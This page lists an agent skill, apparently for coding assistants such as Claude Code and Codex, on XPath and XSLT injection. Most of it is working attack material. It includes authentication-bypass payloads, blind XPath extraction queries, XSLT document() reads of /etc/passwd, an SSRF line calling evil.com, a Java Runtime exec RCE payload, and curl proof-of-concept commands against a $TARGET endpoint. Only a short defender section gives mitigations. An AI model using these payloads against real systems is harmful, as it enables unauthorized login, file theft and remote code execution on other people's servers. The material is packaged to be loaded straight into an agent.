# Xpath Xslt

> XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.

- Skill: `purpleailab/xpath-xslt` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/xpath-xslt`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/xpath-xslt/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/xpath-xslt

---


# XPath + XSLT Injection

## XPath Injection
XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

### Auth bypass
```python
# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  → returns all users
```

### Blind extraction
```bash
# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions
```

## XSLT Injection
Worse than XPath: XSLT is Turing-complete and many engines support
file I/O and RCE.

### document() function — file read
```xml
<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF
```

### EXSLT — RCE on some engines
```xml
<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>
```

### Reflected XSS via XSLT
```xml
<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->
```

## Detection
- Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
- Apps using XPath: legacy intranets, file-based config querying, XML feeds

## PoC
```bash
# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF
```

## Severity
- XPath auth bypass: Critical 9.8
- XSLT file read: Critical 9.0
- XSLT RCE: Critical 10.0
- Blind XPath extraction: High 7-8

## Defender
- Use parameterized XPath via libraries (`lxml.etree.XPath(expr)` w/ variable bindings)
- Disable XSLT extensions by default
- Use `XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE` (libxslt)
- Sanitize / strict-validate XML input schema

## Cross-references
- Upstream: `skills/_corpus/payloads/XPATH Injection/` + `XSLT Injection/`
- XXE (different XML class): `skills/exploit/web/xxe.md`

